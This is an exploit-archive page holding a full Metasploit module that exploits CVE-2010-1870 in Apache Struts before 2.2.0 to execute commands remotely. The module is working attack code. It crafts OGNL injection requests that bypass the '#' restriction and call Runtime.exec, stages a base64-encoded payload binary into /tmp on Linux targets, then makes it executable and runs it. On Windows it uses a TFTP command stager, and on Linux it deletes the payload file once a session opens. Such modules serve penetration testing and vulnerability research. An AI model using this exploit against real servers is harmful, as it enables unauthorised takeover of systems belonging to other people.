Apache Struts < 2.2.0 Remote Command Execution



EKU-ID: 857 CVE: 2010-1870 OSVDB-ID: 66280
Author: bannedit Published: 2011-08-22 Verified: Verified
Download:

Rating

☆☆☆☆☆
Home


##
# $Id: struts_code_exec.rb 13586 2011-08-19 05:59:32Z bannedit $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = ExcellentRanking

 include Msf::Exploit::CmdStagerTFTP
 include Msf::Exploit::Remote::HttpClient

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'Apache Struts < 2.2.0 Remote Command Execution',
   'Description'    => %q{
     This module exploits a remote command execution vulnerability in
    Apache Struts versions < 2.2.0. This issue is caused by a failure to properly
    handle unicode characters in OGNL extensive expressions passed to the web server.
    
     By sending a specially crafted request to the Struts application it is possible to
    bypass the "#" restriction on ParameterInterceptors by using OGNL context variables.
    Bypassing this restriction allows for the execution of arbitrary Java code.
   },
   'Author'         =>
    [
     'bannedit', # metasploit module
     'Meder Kydyraliev', # original public exploit
    ],
   'License'        => MSF_LICENSE,
   'Version'        => '$Revision: 13586 $',
   'References'     =>
    [
     [ 'CVE', '2010-1870'],
     [ 'OSVDB', '66280'],
     [ 'URL', 'http://www.exploit-db.com/exploits/14360/' ],
    ],
   'Platform'      => [ 'win', 'linux'],
   'Privileged'     => true,
   'Targets'        =>
    [
     ['Windows Universal',
      {
        'Arch' => ARCH_X86,
        'Platform' => 'win'
      }
     ],
     ['Linux Universal',
      {
        'Arch' => ARCH_X86,
        'Platform' => 'linux'
      }
     ],
    ],
   'DisclosureDate' => 'Jul 13 2010',
   'DefaultTarget' => 0))

   register_options(
    [
     Opt::RPORT(8080),
     OptString.new('URI', [ true, 'The path to a struts application action ie. /struts2-blank-2.0.9/example/HelloWorld.action', ""]),
     OptString.new('CMD', [ false, 'Execute this command instead of using command stager', "" ])
    ], self.class)
 end

 def execute_command(cmd, opts = {})
  uri =  Rex::Text::uri_encode(datastore['URI'])
  var_a = rand_text_alpha_lower(4)
  var_b = rand_text_alpha_lower(2)
  var_c = rand_text_alpha_lower(4)
  var_d = rand_text_alpha_lower(4)
  var_e = rand_text_alpha_lower(4)
  
  uri << "?(%27\\u0023_memberAccess[\\%27allowStaticMethodAccess\\%27]%27)(#{var_a})=true&"
  uri << "(aaaa)((%27\\u0023context[\\%27xwork.MethodAccessor.denyMethodExecution\\%27]\\u003d\\u0023#{var_c}%27)(\\u0023#{var_c}\\u003dnew%20java.lang.Boolean(\"false\")))&"
  uri << "(#{var_b})((%27\\u0023#{var_d}.exec(\"CMD\")%27)(\\u0023#{var_d}\\u003d@java.lang.Runtime@getRuntime()))=1" if target['Platform'] == 'win'
  uri << "(asdf)(('\\u0023rt.exec(\"CMD\".split(\"@\"))')(\\u0023rt\\u003d@java.lang.Runtime@getRuntime()))=1" if target['Platform'] == 'linux'
  uri.gsub!(/CMD/, Rex::Text::uri_encode(cmd))

  vprint_status("Attemping to execute: #{cmd}")

  resp = send_request_raw({
   'uri'     => uri,
   'version' => '1.1',
   'method'  => 'GET',
  }, 5)
 end

 def windows_stager
  exe_fname = rand_text_alphanumeric(4+rand(4)) + ".exe"

  print_status("Sending request to #{datastore['RHOST']}:#{datastore['RPORT']}")
  execute_cmdstager({ :temp => '.'})
  @payload_exe = payload_exe

  print_status("Attempting to execute the payload...")
  execute_command(@payload_exe)
 end

 def linux_stager
  cmds = "/bin/sh@-c@echo LINE | tee FILE"
  exe = Msf::Util::EXE.to_linux_x86_elf(framework, payload.raw)
  base64 = Rex::Text.encode_base64(exe)
  base64.gsub!(/\=/, "\\u003d")
  file = rand_text_alphanumeric(4+rand(4))

  execute_command("/bin/sh@-c@touch /tmp/#{file}.b64")
  cmds.gsub!(/FILE/, "/tmp/" + file + ".b64")
  base64.each_line do |line|
   line.chomp!
   cmd = cmds
   cmd.gsub!(/LINE/, line)
   execute_command(cmds)
  end

  execute_command("/bin/sh@-c@base64 -d /tmp/#{file}.b64|tee /tmp/#{file}")
  execute_command("/bin/sh@-c@chmod +x /tmp/#{file}")
  execute_command("/bin/sh@-c@rm /tmp/#{file}.b64")

  execute_command("/bin/sh@-c@/tmp/#{file}")
  @payload_exe = "/tmp/" + file
 end

 def on_new_session(client)
  if target['Platform'] == 'linux'
   print_status("deleting #{@payload_exe} payload file")
   execute_command("/bin/sh@-c@rm #{@payload_exe}")
  else
   print_status("Windows does not allow running executables to be deleted")
   print_status("delete the #{@payload_exe} file manually after migrating")
  end
 end

 def exploit
  if not datastore['CMD'].empty?
   print_status("Executing user supplied command")
   execute_command(datastore['CMD'])
   return
  end

  case target['Platform']
   when 'linux'
    linux_stager
   when 'win'
    windows_stager
   else
    raise RuntimeError, 'Unsupported target platform!'
  end

  handler
 end
end